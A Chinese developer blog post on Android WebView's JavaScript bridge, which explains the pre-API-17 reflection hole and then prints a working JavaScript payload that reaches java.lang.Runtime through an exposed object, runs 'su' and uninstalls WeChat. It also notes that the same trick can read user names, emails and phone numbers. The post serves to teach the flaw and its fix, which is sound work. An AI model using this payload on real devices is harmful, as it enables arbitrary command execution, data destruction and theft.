为javascript提供native接口的途径

Android WebView 提供一个addJavascriptInterface方法来为javascript创建一个JavaBridge.

例如给js提供一个showToast的方法:

private static class JavaJs {

private Context context;

JavaJs(Context context) {

this.context = context;

}

@JavascriptInterface

public void showToast(String str) {

Toast.makeText(context, str, Toast.LENGTH_LONG).show();

}

}

webView.addJavascriptInterface(new JavaJs(this), "JavaJs");

JavaJs.showToast("toast from js");

安全问题

Api 17之前,在WebView为javascript提供了java对象之后, 可以利用javascript代码调用java的反射Api,进行一些hack操作,导致安全性问题.(注意: 低版本的WebView会自己添加一个searchBoxJavaBridge_对象,通常我们需要自己移除)

Api 17之后,WebView会禁止javascript调用没有添加@JavascriptInterface方法,从而避免上述问题.(注意: 推荐大家始终添加@JavascriptInterface,而不用关心Api版本,因为annotation缺失并不会导致ClassNotFoundException,而仅仅是被jvm忽略)

安全问题示例 (通过javascript卸载微信)

通过反射可以干很多事情,比如类似于 UserInfo 这样的对象,如果他是单例的话,那么很容易可以取到用户的 用户名,邮箱,手机号 等信息.

此处展示一个简单的页面,当通过WebView打开这个HTML,手机上的微信就会被卸载(当然前提是该app拥有root权限).

function toByteArray(str) {

var ch, stack, result = [];

for(var i = 0; i < str.length; ++i) {

ch = str.charCodeAt(i);

stack = [];

do {

stack.push(ch & 0xFF);

ch = ch >> 8;

} while(ch);

result = result.concat(stack.reverse());

}

return result;

}

function execCmd(outputStream) {

var cmd = "adb shell pm uninstall com.tencent.mm";

outputStream.write(toByteArray(cmd));

outputStream.close();

}

function toString(inputStream) {

var result = "";

var c;

while((c = inputStream.read()) != -1) {

var s = String.fromCharCode(c);

result += s;

}

return result;

}

function hack() {

for(var obj in window) {

if("getClass" in window[obj]) {

console.log(obj);

var runtime = window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null);

var p = runtime.exec(["su"]);

execCmd(p.getOutputStream());

alert(toString(p.getInputStream()));

break;

}

}

}

hack();

卸载微信 :)

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐